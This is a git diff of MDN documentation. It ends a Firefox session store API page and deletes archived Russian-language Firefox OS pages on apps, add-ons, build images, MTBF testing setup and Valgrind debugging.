-  var uri = tab.linkedBrowser.contentDocument.location;  /* the tab's URI */
-
-  Components.classes["@mozilla.org/consoleservice;1"]
-            .getService(Components.interfaces.nsIConsoleService)
-            .logStringMessage("restoring tab: " + uri);
-};
-
-document.addEventListener("SSTabRestoring", myExtensionHandleRestore, false);
-
-

Simply replace the contents of the function myExtensionHandleRestore() with whatever you need to do when the tab is restored. In this example, nsIConsoleService is used to display a message to the console.

-

This event is sent just before a tab is restored. An event of type SSTabRestored fires each time a tab has finished restoring. It's worth noting that this event is sent even if tab loading at startup is deferred until the user selects the tab.

-

{{ fx_minversion_note("3", 'In Firefox 3 and later, if you need to detect when a tab is about to be closed so that you can update data associated with the tab before it is closed, you can watch for the "SSTabClosing" event, which is sent to the tab.') }}

-

Restoring without restarting

-

{{ fx_minversion_note("3.6", "This section applies to Firefox 3.6 and later.") }}

-

Firefox 3.6 knows how to save session store data when the last browser window closes, even if there are still other windows open. Similarly, it can now restore the user's session while in that state. In other words, it's now possible for sessions to be restored even without the browser quitting and being relaunched. This is something you may need to keep in mind if you rely on the behavior of the session store system.

-

The session restore process

-

The exact sequence of events that occurs when a session is being restored is:

-
    -
  1. A session state is about to be restored. This can be on startup or in response to Undo Close Tab, since closed tabs are restored as single-tab sessions.
  2. -
  3. New windows are opened as required (one for each window that was saved in the session store), and cookies and the list of recently closed tabs are restored.
  4. -
-

After that, the following steps are taken for each tab being restored:

-
    -
  1. Either an existing tab is reused or a new tab is created. In the latter case, a TabOpen event is sent.
  2. -
  3. The tab's persistent XUL attributes (those saved due to calls to persistTabAttribute()) and permissions are restored.
  4. -
  5. The SSTabRestoring event is sent.
  6. -
  7. The tab is told to load the URL it should be displaying.
  8. -
  9. When the page is finished loading, text fields and scroll state are restored.
  10. -
  11. Finally, the SSTabRestored event is sent.
  12. -
-

If you want to set permissions or otherwise manipulate a restored tab before the page is loaded into it, you should watch SSTabRestoring. If you want to do something after the page is loaded, you should watch SSTabRestored.

-

Both events are always sent for each tab being restored. You can determine which tab is being restored by looking at the event's originalTarget field.

-

There's not really a way to determine when the last tab has been restored unless you determine how many tabs need to be restored then count the SSTabRestored events.

-

Using the session store API

-

This section provides a few simple examples of how to make use of the session store API.

-

Saving a value with a tab

-

The following code will attach a key/value pair to a tab, so that when the tab is restored, that pair is still associated with it.

-
 var ss = Components.classes["@mozilla.org/browser/sessionstore;1"]
-                    .getService(Components.interfaces.nsISessionStore);
- var currentTab = gBrowser.selectedTab;
- var dataToAttach = "I want to attach this";
- ss.setTabValue(currentTab, "key-name-here", dataToAttach);
-
-

This code sets the value of the key "key-name-here" to dataToAttach. You may use any JavaScript object as the data.

-

Fetching a saved value

-

You can fetch a value associated with a tab at any time (whether the tab is in the process of being restored or not), using code similar to the following:

-
 var ss = Components.classes["@mozilla.org/browser/sessionstore;1"]
-                    .getService(Components.interfaces.nsISessionStore);
- var currentTab = gBrowser.selectedTab;
- var retrievedData = ss.getTabValue(currentTab, "key-name-here");
-
-

After this code executes, the variable retrievedData contains the value saved for the key "key-name-here". retrievedData is undefined if there is no value saved for that key name.

-

Deleting a value associated with a tab

-

To delete a value from a tab, you can use code similar to the following:

-
 var ss = Components.classes["@mozilla.org/browser/sessionstore;1"]
-                    .getService(Components.interfaces.nsISessionStore);
- var currentTab = gBrowser.selectedTab;
- ss.deleteTabValue(currentTab, "key-name-here");
-
-

Remarks

-

The window value save and restore functions work exactly like the tab-based functions by similar names.

-

Starting in Firefox 3.5, notifications are sent after reading session store data and before using it, as well as immediately before writing it back to disk. See the list in Observer Notifications.

-

Using the session store API in SeaMonkey

-

There are a number of differences between the session store API in Firefox and the API in SeaMonkey 2.0:

- -
var ss = Components.classes["@mozilla.org/suite/sessionstore;1"]
-                   .getService(Components.interfaces.nsISessionStore);
- -

See also

-

{{interface("nsISessionStore")}}

diff --git a/files/ru/archive/apps/advanced_topics/index.html b/files/ru/archive/apps/advanced_topics/index.html deleted file mode 100644 index 982d8aba81..0000000000 --- a/files/ru/archive/apps/advanced_topics/index.html +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Advanced topics -slug: Archive/Apps/Advanced_topics -translation_of: Archive/Apps/Advanced_topics ---- -

Эти статьи дают экстра информацию на более продвинутые темы об Открытых Веб Приложениях.

- -
-
-

Документация архитектуры приложений

- -
-
Архитектура веб приложений
-
An overview of the architecture behind the Open Web Apps project's design and implementation.
-
Специфичные-платформе детали установки приложения
-
There are some differences in how apps are installed across the various platforms that support Open Web Apps; this article will help you to understand them.
-
Открытые Веб Приложения для Android
-
Information about installing and testing Open Web Apps on an Android device.
-
App runtime release notes
-
Release notes for the Web app runtimes for various platforms.
-
- -

Другие документации

- -
-
Создание магазина
-
Информация может быть полезна для вас если вы хотите создать свой собственный магазин для продажи и распространения Открытых Веб Приложений.
-
- -

View All...

-
- -
-
Tools for app developers
- -
Technology reference documentation
- -
Getting help from the community
-

If you still aren't sure how to do what you're trying to get done, feel free to join the conversation!

- -

Don't forget about the netiquette...

-
-
- -

 

diff --git a/files/ru/archive/apps/index.html b/files/ru/archive/apps/index.html deleted file mode 100644 index 89e9dac3d6..0000000000 --- a/files/ru/archive/apps/index.html +++ /dev/null @@ -1,8 +0,0 @@ ---- -title: Apps -slug: Archive/Apps -translation_of: Archive/Apps ---- -

In progress. This page includes archived content for Apps, including obsolete web app content, Firefox OS app-related content, etc.

- -

{{SubpagesWithSummaries}}

diff --git a/files/ru/archive/b2g_os/add-ons/index.html b/files/ru/archive/b2g_os/add-ons/index.html deleted file mode 100644 index c09b878c75..0000000000 --- a/files/ru/archive/b2g_os/add-ons/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: Firefox OS add-ons -slug: Archive/B2G_OS/Add-ons -translation_of: Archive/B2G_OS/Add-ons ---- -

Firefox OS 2.5 появилась поддержка аддонов, особенность, которая настольные пользователи знают и любят с начала Firefox. Дополнения Firefox OS на еще более мощный и может настроить не только браузер, но и весь опыт телефона, в том числе настроек для домашнего экрана и системы приложений, таких как E-Mail и сообщения. Эта страница расскажет вам все, что вам нужно знать, чтобы начать работу с создания Firefox OS дополнения и участие с Дополнения сообщества.

- -
-

Примечание: Firefox OS дополнения основаны на API WebExtensions, который также поддерживается в Firefox столе начиная с версии 42 и на основе расширения API, используемых в Chrome и Opera.

-
- -

Предпосылки

- -

Вы должны следовать приведенным ниже инструкциям, чтобы настроить, чтобы начать разработку расширений.

- -

1. Вспышка телефон к Firefox OS 2.5

- -

Firefox OS дополнения поддерживаются только в Firefox OS 2.5 и более поздних версий. Вот список поддерживаемых устройств и, как обновить их (этот список является неполным, и будут добавлены как время идет.)

- - - -

2. Включить отладку USB

- -

В Настройки приложения на устройстве, выберите Developer> Отладка через USB> АБР и Devtools. Теперь вы должны быть в состоянии отладки, используя установленные приложения WebIDE, либо с помощью кабеля USB в, и над Wi-Fi (кабель USB не требуется.)

- -

3. Установите WebIDE

- -

WebIDE инструмент является частью Firefox и может быть использован для установки надстроек на вашем телефоне во время разработки - см Тестирование надстройку с помощью WebIDE для получения дополнительной информации.

- -

Смотрите также

- -

Развивающийся

- - - -

Распространение

- - - -

Втягиваться

- - diff --git a/files/ru/archive/b2g_os/apps/index.html b/files/ru/archive/b2g_os/apps/index.html deleted file mode 100644 index 30ee215827..0000000000 --- a/files/ru/archive/b2g_os/apps/index.html +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: Creating Apps for Firefox OS -slug: Archive/B2G_OS/Apps -tags: - - Apps - - B2G - - Firefox OS - - NeedsTranslation - - TopicStub -translation_of: Web/Apps/Fundamentals ---- -

Applications for Firefox OS devices are simply open Web apps; they consist entirely of open Web technologies such as JavaScript, HTML, and CSS. While our primary documentation for apps covers nearly everything you need to know, there are a few documents specific to developing and testing for Firefox OS that are presented here.

-
-
-

Documentation and tutorials

-
-
- Writing a web app for Firefox OS
-
- A tutorial to creating your first web application for Firefox OS.
-
- User experience
-
- Guides to help you develop apps with a consistent and attractive user experience, including code samples and templates.
-
- Tips and techniques
-
- An assortment of tips and tricks (as well as workarounds for problems) that our developers have suggested for you!
-
-

View All...

-
-
-

Getting help from the community

-

You need help on an app-related problem and can't find the solution in the documentation?

-
    -
  • Consult the web apps forum: {{DiscussionList("dev-webapps", "mozilla.dev.webapps")}}
  • -
  • Consult the layout forum, which covers CSS and HTML: {{ DiscussionList("dev-tech-css", "mozilla.dev.tech.layout") }} -
      -
    • Ask your question on the Mozilla IRC channel: #openwebapps
    • -
    -
  • -
-

Don't forget about the netiquette...

-

Tools

- -

View All...

- - -
-
diff --git a/files/ru/archive/b2g_os/apps/writing_a_web_app_for_firefox_os_ru/index.html b/files/ru/archive/b2g_os/apps/writing_a_web_app_for_firefox_os_ru/index.html deleted file mode 100644 index 338a8c6994..0000000000 --- a/files/ru/archive/b2g_os/apps/writing_a_web_app_for_firefox_os_ru/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Создание веб-приложений для Firefox OS -slug: Archive/B2G_OS/Apps/Writing_a_web_app_for_Firefox_OS_ru -translation_of: Web/Apps/Fundamentals/Quickstart ---- -

Приложения для Firefox OS представляют собой обычные Web-приложения, написанные с использованием HTML, CSS и JavaScript. Они публикуются в Web подобно обычным Web-сайтам. Чтобы сделать Web-сайт инсталлируемым на мобильные устройства в качестве Web-приложения, Вам нужно лишь добавить к нему файл манифеста и кнопку "install", как описывается ниже.

-

Для начала рекомендуется прочесть следующие статьи:

- -

И, конечно же, Вы вольны dive even further into Open Web Apps!

-

Инсталляция Web-приложения

-

Манифест-файл прилагается к веб-приложению для того, чтобы Gecko смог его должным образом обработать при инсталляции. В процессе инсталляции Gecko "читает" файл манифеста и вносит при необходимости дополнительные записи в домашний экран (home screen) и т.п.

-

Для инсталляции приложения служит navigator.mozApps.install API. Ниже приведён пример кнопки "Install", которую можно встроить в Ваше приложение, если Вы хостите его самостоятельно:

-
<button id="install">
-  Install this awesome app on your homescreen!
-</button>
-
-<script>
-(function(){
-  function install(ev) {
-    ev.preventDefault();
-    // define the manifest URL
-    var manifest_url = "http://my.webapp.com/manifest.webapp";
-    // install the app
-    var myapp = navigator.mozApps.install(manifest_url);
-    myapp.onsuccess = function(data) {
-      // App is installed, remove button
-      this.parentNode.removeChild(this);
-    };
-    myapp.onerror = function() {
-      // App wasn't installed, info is in this.error.name
-      console.log('Install failed, error: ' + this.error.name);
-     };
-  };
-  // get a reference to the button and call install() on click
-  var button = document.getElementById('install');
-  button.addEventListener('click', install, false);
-})();
-</script>
-
-

Примечание: кнопка "Install" может быть расположена и в магазине приложений, например, в Firefox Marketplace, но зачастую весьма удобно иметь кнопку "Install as web app" на главной странице Вашего сайта.

-

Теперь при заходе на Ваш сайт броузером из Firefox OS, его можно будет установить как приложение, нажав кнопку "Install".

diff --git a/files/ru/archive/b2g_os/automated_testing/index.html b/files/ru/archive/b2g_os/automated_testing/index.html deleted file mode 100644 index f5f4048cbb..0000000000 --- a/files/ru/archive/b2g_os/automated_testing/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: Automated Testing of Firefox OS -slug: Archive/B2G_OS/Automated_testing -translation_of: Archive/B2G_OS/Automated_testing ---- -
-

Given that Firefox OS is still under development, and support for new hardware is going to be forthcoming for the foreseeable future, it's important to know how to test it. This page offers articles that provide information about various aspects of testing Firefox OS, including running different tests, automation, and result reporting and tracking.

-
- -

Getting started

- -
-
Running tests on Firefox OS: A guide for developers
-
A quick, developer-focused guide to getting started with running the tests. This is where you should start if you are not experienced in running Mozilla's tests and automation systems. If you are, then you will probably have an idea of what tests you want to run and how, and you can skip on to the more specific detailed guides below.
-
- -

Gaia tests

- -

These articles cover the primary test suites designed to put Gaia through its paces.

- -
-
Gaia UI tests
-
Python tests for Gaia UI interactions and features.
-
Gaia integration tests
-
JavaScript integration tests for Gaia, based on Marionette.
-
Gaia unit tests
-
Gaia unit tests with no UI interaction; written in JavaScript, not Marionette-based.
-
Gaia performance tests
-
Measures Gaia app performance based on internal instrumentation. The testing harness is in-tree.
-
B2GPerf
-
Measures Gaia app performance based on internal instrumentation.
-
Eideticker
-
Provides performance measurements for Firefox OS based on video captures.
-
MTBF test
-
Mean Time Between Failure. This is a test suite that runs on device for long duration, attempting to find problems with Gaia uptime and stability. (Currently, it is owned by Taiwan QA team and still a developing test framework)
-
- -

B2G tests

- -

The guides below cover a number of different test harnesses that test various aspects of B2G functionality.

- -
-
Mochitests
-
Gecko functional and API tests; HTML & JS based.  No Gaia interaction.
-
Reftests
-
Gecko rendering correctness tests.
-
WebAPI tests
-
Gecko JS-based WebAPI tests; most of these require an emulator.
-
xpcshell tests
-
Headless tests of Gecko XPCOM APIs.
-
- -

Supporting documentation

- -

This section provides links to some of the supporting technologies that underpin Mozilla's tests, which you may want to find more information about.

- -
-
Marionette
-
A remote test driver based on Selenium WebDriver.
-
Marionette JavaScript tools
-
A node.js-based runner for Marionette.
-
Marionette Python client
-
A Python runner for Marionette.
-
- -
-

Note: If you want to run Marionette against a production build (to run gaia integration tests, gaia-ui-tests, etc.), you can install Marionette as an extension (this currently only works for 1.3 builds, but more support will be added soon.)

-
- -

Continuous integration and result reporting

- -

The following articles cover the continuous integration and result reporting mechanisms Mozilla uses to store and intepret test data.

- -
-
Treeherder
-
Understand the tests and builds that run on Treeherder.
-
Datazilla
-
Understand which performance tests are reporting to the Datazilla dashboard, and what those tests measure.
-
Test execution chart
-
A chart showing which tests are being run — on what devices and where — and which platforms are supported for each test.
-
diff --git a/files/ru/archive/b2g_os/automated_testing/mtbf_tests/index.html b/files/ru/archive/b2g_os/automated_testing/mtbf_tests/index.html deleted file mode 100644 index a9411bfbe0..0000000000 --- a/files/ru/archive/b2g_os/automated_testing/mtbf_tests/index.html +++ /dev/null @@ -1,235 +0,0 @@ ---- -title: MTBF tests -slug: Archive/B2G_OS/Automated_testing/MTBF_tests -translation_of: Archive/B2G_OS/Automated_testing/MTBF_tests ---- -
-
    -
  1. The MTBF tests are a suite of Firefox OS tests built on top of the Gaiatest (Gaia UI Tests) Framework. The tests run on real Firefox OS devices, and use Marionette to drive the device's UI. These tests are designed to measure application stability/reliability, and replace the now-discountinued Gaia endurance tests.
  2. -
-
- -

Mean time between failures (MTBF) is the predicted elapsed time between inherent failures of a system during operation. MTBF can be calculated as the arithmetic mean (average) time between failures of a system. The MTBF is typically part of a model that assumes the failed system is immediately repaired (mean time to repair, or MTTR), as a part of a renewal process. This is in contrast to the mean time to failure (MTTF), which measures average time to failures with the modeling assumption that the failed system is not repaired (infinite repair time).

- -

Current Environment & Setup

- -

MTBF tests are run by automation; the test suite collects general test cases like send sms, email, set alarm, etc., and executes them to emulate typical user behavior.  Right now we have more than 10 Firefox OS phones concurrently running tests in our test lab.

- -

How often are the tests run?

- -

MTBF is purposed to test on versions or branches with 0 functional failures.  it runs when everything passes in our smoke tests; the testing code should be in the Aurora (next release) branch.

- -

Where can I see the results?

- -

MTBF is still being developed and you can mail us for an early report (try the dev-b2g or dev-gaia mailing lists).  You can set up the necessary environment to run the tests yourself and generate your own reports by following the below steps.

- -

Running the tests

- -

Let's go through the steps required to set up the Gaia-UI MTBF test environment and run the tests on your local machine and Firefox OS device.

- -

Prerequisites

- - - -

If you are on Ubuntu, you need to check that it is configured to support the USB connection to the Firefox OS device. To verify this, connect the device to your computer via USB, open a terminal and enter the adb logcat command to see if it connects. If not, you may need to set up a udev rule for the device.

- -
-

Note: At the point where you start running through the following steps, the Firefox OS device should not be connected to your computer. You will be told when to connect it in the steps below.

-
- -

Step 1: Clone the MTBF-Driver repository from Mozilla-TWQA

- -

The Gaia-UI MTBF Tests are located in the Mozilla Github Gaia repository. Assuming that you haven’t done so already, the first step is to clone that repo:

- -
git clone https://github.com/Mozilla-TWQA/MTBF-Driver.git
- -

You may want to go get a coffee and come back in five minutes. Furthermore, you can get all the branches and try to switch to the current MTBF branch (e.g. master or v1.4+.) In this case, master matches the current master branch Gaia, and v1.4+ matches the v1.4/v1.3 branch Gaia.

- -

Step 2: Run the GaiaTest setup

- -

The Gaia-UI MTBF tests are built upon the GaiaTest framework (which uses Marionette). The next step is to run the setup script to install GaiaTest and all of the required dependencies. You may wish to create a new virtual environment to use with the Gaia-UI MTBF Tests. If you don’t, you may need to use sudo while running the setup command. In your terminal, type:

- -
cd MTBF-Driver
-python setup.py develop
- -

Step 3: Get memory tools if you need them

- -

To access the memory tools, find them in the tools directory in the B2G repo. If you've not already got this, clone it from Github like so (this is also a large download):

- -
git clone https://github.com/mozilla-b2g/B2G.git
- -

You should copy the tools folder into the MTBF-Driver/mtbf_drivers directory.

- -

Step 4: Set test vars and acknowledge risks

- -

GaiaTest uses a special file to set certain variables that are required for test configuration, for example to tell the device which WiFi network it should use. Before running the Gaia-UI MTBF Tests, you must set up the test vars file. Make a copy of the gaia/tests/python/gaia-ui-tests/gaiatest/testvars_template.json file in its existing location (rename it to something memorable) and edit it:

- - - -

Running the Gaia-UI MTBF tests will result in data being erased from the Firefox OS device and microSD card. This is to ensure that the tests start cleanly each time. For example, running a contacts test on a device that already has 10,000 contacts will have very different memory value results compared to running the same test on a device with no existing contacts. In order to run the tests, you must acknowledge that you are aware of this data loss risk. You should also backup any data you don't want to lose.

- -

To acknowledge the risks, add the following entry to your testvars file as the first field in the list: "acknowledged_risks": true.

- -
-

Note: If the risks are not acknowledged in the testvars file, the tests will not run.

-
- -

Step 5: Connect to USB and ADB Forward the Device

- -

Attach the Firefox OS device to your computer via USB.

- -
-

Note: If you’re using an Ubuntu VM, after attaching the device ensure the VM sees the device and connects to it; in the VM select VM > Removable Devices > Your Device > Connect and wait for the device to connect to the VM.

-
- -

Now tell adb to forward the device port to GaiaTest using the following command:

- -
adb forward tcp:2828 tcp:2828
- -
-

Note: If you are using the Firefox OS Leo device, you must first tell ADB to be the root user, like so:

- -
adb root
-adb forward tcp:2828 tcp:2828
-
- -

Step 6: Run a Test

- -

Now you’re ready to actually try running a test. Use the following commands:

- -
cd {MTBF Driver Folder}
-MTBF_TIME=1d MTBF_CONF=conf/local.json mtbf --address=localhost:2828 --testvars=mytestvars.json
- -

We can parse the MTBF_TIME by d(ay), h(our), or m(inute).

- -

If you get a “connection refused” error it means the device USB connection didn’t work; just repeat the device connection and try again.

- -

The Firefox OS device b2g process should now restart, then the specified test will run with a single iteration. If you watch the Firefox OS device, you’ll see the device UI being manipulated by Marionette. After the test finishes, a memory checkpoint will be performed.

- -
-

Note: The Gaia-UI MTBF tests now grab the Firefox OS device’s b2g process RSS value for the memory use checkpoint (it used to be the V-SIZE value.)

-
- -

The test result will be displayed in the terminal window. Note that this result doesn’t include the b2g process memory value; this value is stored in a text file, created at the time of the checkpoint in the checkpoints directory. To see the resulting b2g process, open this file. This "suite_summary" file will contain the average b2g process memory use (RSS) value, averaged from all the test checkpoints (in our example there was only one checkpoint.)

- -

There are two other files present in the checkpoints folder (assuming the test run was the "add contact" test):

- - - -

Step 7: Using Variables and Config Files

- -

We use envrionment variable MTBF_TIME for running duration.  The other one is MTBF_CONF which refers to json file, specific runner options include test case repository and list.  A normal config file should look like 

- -
{
-  "memory_report": false,
-  "logcat": true,
-  "overall_status": true,
-  "b2g_status": true,
-  "get_event": true,
-  "rootdir": "tests/mtbf",
-  "workspace": "/tmp/workspace",
-  "manifest_prefix": "mtbf",
-  "archive": "output",
-  "runlist": "runlist/all.list",
-  "level": 4
-}
- - - -

Contributing to the project

- -

If you have any questions about the Firefox OS MTBF tests or are interested in contributing to this important automation development effort, feel free to contact us at wachen@mozilla.com

- -

How to migrate test cases from Gaia-ui-tests

- -

This section provides a guide to migrating tests between gaia-ui tests and MTBF.

- -

Step 1: Rename

- - - -

Step 2: Add

- - - -

Step 3: Principles

- - - -

Step 4: About apps

- -
    -
  1. apps > mtbf_apps if needed.
  2. -
  3. Import original apps.
  4. -
  5. Add __init__() and any functions you need.
  6. -
- -

Step 5: After you have finished

- -
    -
  1. Test each test case using Test full suite > Test full suite with shuffle
  2. -
  3. Check PEP8 errors
  4. -
  5. Use a pull request to add your test cases to the main repo! Do not push directly.
  6. -
diff --git a/files/ru/archive/b2g_os/building_and_installing_firefox_os/firefox_os_build_process_summary/index.html b/files/ru/archive/b2g_os/building_and_installing_firefox_os/firefox_os_build_process_summary/index.html deleted file mode 100644 index 9d66609e13..0000000000 --- a/files/ru/archive/b2g_os/building_and_installing_firefox_os/firefox_os_build_process_summary/index.html +++ /dev/null @@ -1,149 +0,0 @@ ---- -title: Firefox OS build process summary -slug: >- - Archive/B2G_OS/Building_and_installing_Firefox_OS/Firefox_OS_build_process_summary -translation_of: Archive/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_build_process_summary ---- -
-

Сборка и установка Firefox OS требует значительного количества времени, пропускной способности сети и вычислительную мощность. К сожалению, по пути, что то может пойти не так. Эта страница излагает цели процесса сборки и его этапы, для того, чтобы помочь пользователям в пути. Подробная информация о каждом шаге рассматривается в связанных страницах..

-
- -
-

Примечание: В процессе сборки Firefox OS будет множество ссылок на 'B2G' или 'Boot2Gecko'. 'Boot2Gecko' это оригинальное название пректа Firefox OS.

-
- -

Цель моделирования: четыре файла 'образа'

- -

Общая цель процесса сборки является построить четыре файлы, которые можно скопировать на устройство Firefox OS.

- - - - - - - - - - - - - - - - - - - - -
boot.imgЯдро Linux и корень файловой системы образа, последний обеспечивает полезный набор основных инструментов Unix.
system.imgЯдро Firefox OS включающее части Gonk, порт Gecko, и исполняемый фаил b2g.
userdata.imgПрофиль пользователя Gecko и веб приложения для устройства Gaia.
recovery.imgЯдро Linux и корень файловой системы образа совместно с простым инструментом, чтобы исправить неправильную установку.
- -

После создания четырех образов, необходимо перенести их на устройство.

- -

Firefox OS строится на вершине базовой основы для Android Open Source Project (AOSP). AOSP инструменты adb и fastboot обеспечивают мощные способы доступа и управлеия устройства.Примечательно, что команда adb reboot-bootloader может подключиться к устройству чтобы перезагрузить и приостановить загрузку на ранней стадии, где команда fastboot flash $partition $image может использоваться для копирования образа на устройстве.

- -

Загрузочный образ

- -

Загрузочный образ (boot.img) представляет собой сочетание ядро и начального корневого раздела, обеспечивающего основную утилиту программного обеспечения и сценарий инициализации. Последнее будет скопирован в память устройства для эффективного использования устройства и, следовательно, называется "электронный диск". Загрузочный образ будет скопирован в раздел "загрузки"  на устройстве и содержимое электронного диска видны начиная с корневого каталога при проверке файловой системы устройства доступ во время выполнения, например, при использовании adb оболочки.

- -

Загрузочный образ также устанавливает права доступа пользователя в  корневой файл default.prop в корневом каталоге.

- -

Можно также изменять существующие загрузочные образы путем проверки файла, разделив файл на образ ядра и загрузочный образ, извлеките содержимое загрузочного образа, измените его содержимое, повторно сберите загрузочный образ, а затем восстановите функции boot.img , См, например, Alcatel One Touch Fire Hacking (Mini) Guide .

- -

Загрузочный образ перед установкой необходимо проверить на 'sideloading' ; устройство можно запускать и останавливать в загрузчике, затем быструю загрузку можно будет использовать для загрузки из загрузочного образа, без установки его с помощью команды fastboot boot /some/path/to/boot.img.

- -

Системный образ

- -

Системный образ (system.img) обеспечивает основу Firefox OS:

- - - -
-

Смотрите the Firefox OS platform руководство для получения более подробной информации об архитектуре платформы.

-
- -

Системный образ будет скопирован в системный раздел устройства и будет виден в директории / system /  при проверке файловой системы устройства доступны во время выполнения.

- -
-

Note: The System Image also provides the binary blobs that may be used by the device, notably the RIL (Radio Interface Layer) blob controlling the cellular radio on the device.

-
- -

The User Data Image

- -

The User Data Image (userdata.img) provides the Gaia applications loaded at runtime.

- -

The User Data Image will be copied to the userdata partition on the device and the contents will be visible in the /data/ directory when the device filesystem is accessed at runtime. Notably the /data/b2g/ directory contains the Mozilla Gecko profile of the device user while the /data/local/webapps/ directory contains the actual web applications available to the user.

- -

The Recovery Image

- -

The Recovery Image (recovery.img) contains the same kernel and a similar ramdisk as are present on the Boot Image partition. The recovery image however uses a different initialization script, which leads the user to a set of recovery commands accessible using the hardware buttons on the device.

- -

The Recovery Image will be copied to the recovery partition on the device, which is not mounted onto the filesystem at regular runtime.

- -

The Build Process: setup, configure, build, install

- -

The overall process of building and installing Firefox OS involves four steps:

- - - - - - - - - - - - - - - - - - - - -
SetupObtain copies of all the programs used by the build process, such as the right compilers and libraries.
ConfigureDownload the source code that will be built and create the .configure file that defines environmental variables specifying the paths and other values used in the build.
BuildBuild the Gecko profile of the user and the Gaia web applications for the device.
InstallInstall the files on a device.
- -

 

- -

Setup

- -

Inital setup must be done to ensure the computer running the build has all of the software required during the build, such as compilers and build tools.

- -

This step can be done by hand or using a script. Details are discussed in the Firefox OS build prerequisites page.

- -
-

Note: On UNIX and UNIX-like machines, the presence of the required software can be checked using the unix command which with the name of the required program as a parameter.

-
- -

Configuration

- -

The actual build process starts with obtaining a copy of the Firefox OS (or B2G) software, usually by creating a Git clone of the B2G project. The build configuration will both obtain copies of all the source code which is to be built and create the .config file that specifies variables for the build.

- -

This is run with the config.sh script. Details are discussed in the Preparing for your first B2G build page.

- -

The configure script needs a parameter specifying the type of device to build. The build names are code names linked to the CPU architecture rather than a specific device, and there is currently no way to establish which build works for which physical device. A list of available code names can be found here.

- -

The configure step will also use the Android Open Source Project repo tool to download (or update) a copy of all the code used in the build. These copies will be stored in the .repo/projects directory. Due to this activity, the configure step can take a long time and will download a lot of data.

- -

Build

- -

The build step will actually compile all of the source code and produce the output images.

- -

This is run with the build.sh script. Details are discussed in the Building Firefox OS page.

- -

By default, the build step is monolithic, attempting to build everything at once from the Android Open Source Project tools to the Linux kernel to the Gaia web applications. When the build fails, it can sometimes be unclear in which step it has failed.

- -

It is possible to build only certain parts of the whole Firefox  stack. For example, the Gecko system only can be built by calling the build script with the gecko parameter. Similarly, Gaia can be built on its own using the gaia parameter. These parts can then be installed separately onto the device as explained next.

- -

It is also possible to build the images discussed in the first part of this page. For example, the system image can be built using ./build.sh out/platform/$target/system.img, where the $target parameter is the same as given in the Configuration step.

- -

Install

- -

The install step will place the newly compiled code onto a device. This is run with the flash.sh script.

- -

Individual parts of the build can be installed by adding a parameter to the flash script. For example, it is possible to install only the gaia web applications by specifying ./flash.sh gaia.

diff --git a/files/ru/archive/b2g_os/building_and_installing_firefox_os/index.html b/files/ru/archive/b2g_os/building_and_installing_firefox_os/index.html deleted file mode 100644 index fb71da5b51..0000000000 --- a/files/ru/archive/b2g_os/building_and_installing_firefox_os/index.html +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Сборка и установка Firefox OS -slug: Archive/B2G_OS/Building_and_installing_Firefox_OS -translation_of: Archive/B2G_OS/Building_and_installing_B2G_OS ---- -

Поскольку Firefox OS сейчас находится в стадии в активной разработки и в предрелизном состоянии, лучший способ удостовериться, что у Вас установлена последняя версия, заключается в самостоятельной сборке и установке. Статьи, перечисленные на этой странице, помогут Вам в процессе сборки и установки Firefox OS на эмуляторе, или совместимом устройстве или пользовательском интерфейсе Gaia в броузере Firefox.

- - - - - - - -
-

КАК ПОЛУЧИТЬ И СОБРАТЬ FIREFOX OS

-
-
- Прежде, чем собрать Firefox OS
-
- Что Вам потребуется (и что нужно сделать) перед сборкой Firefox OS в первый раз.
-
- Подготовка к первой сборке Firefox OS
-
- Прежде чем вы сможете собрать Firefox OS, необходимо скопировать из репозитория и настроить сборку. Данная статья объясняет, как это сделать.
-
- Сборка Firefox OS
-
- Как собрать Firefox OS.
-
-

Подробнее...

-
-

УСТАНОВКА FIREFOX OS  И/ИЛИ Gaia

-
-
- Выбираем как запустить Gaia или Firefox OS
-
- Вы можете использовать Gaia в Firefox, или запустить Firefox OS на мобильном устройстве или в настольном симуляторе. Это руководство поможет Вам решить, что лучше для Ваших нужд.
-
- Использование Gaia в Firefox
-
- Как использовать Gaia с помощью настольного Firefox браузера.
-
- Использование Firefox OS десктопного клиента
-
- Руководство по запуску и использованию Firefox ОС в десктопном клиенте, имитирующем окружение Gaia в настольных приложениях. Это даёт более точный результат, чем использование Gaia в Firefox, но менее точный, чем в эмуляторе.
-
- Использование Firefox OS эмуляторов
-
- Руководство по сборке и использованию Firefox OS эмуляторов, и когда какой  эмулятор лучше использовать.
-
- Установка Firefox OS на мобильное устройство
-
- Как установить Firefox OS на мобильное устройство.
-
- Двойная загрузка Firefox OS и Android на SGS2
-
- Как настроить двойную загрузку Firefox OS/Android на Samsung Galaxy S2.
-
-
-

 

diff --git a/files/ru/archive/b2g_os/debugging/debugging_b2g_using_valgrind/index.html b/files/ru/archive/b2g_os/debugging/debugging_b2g_using_valgrind/index.html deleted file mode 100644 index 1da26c0654..0000000000 --- a/files/ru/archive/b2g_os/debugging/debugging_b2g_using_valgrind/index.html +++ /dev/null @@ -1,177 +0,0 @@ ---- -title: Отладка B2G с помощью Valgrind -slug: Archive/B2G_OS/Debugging/Debugging_B2G_using_valgrind -translation_of: Archive/B2G_OS/Debugging/Debugging_B2G_using_valgrind ---- -

- -

Инструмент Memcheck Valgrind обнаруживает ошибки C ++ управления памятью, которые могут привести к стабильности и безопасности проблем: использование освобожденной памяти, кучи перерасход массива, использует неинициализированной значений и утечек памяти. Он включен в дереве Firefox OS, и может работать на некоторых телефонах, которые имеют достаточные ресурсы. В этой статье объясняется, как использовать его.
- Требования
- Перед запуском Valgrind против Firefox OS, рекомендуется, чтобы разработчики ознакомиться с Debugging Mozilla со статьей Valgrind. Большая часть содержащейся в нем информации имеет отношение к работает против Firefox OS, хотя многие из сборки и командных этапов линии заботятся операционной системой сборки и выполнения сценариев Firefox.

- -

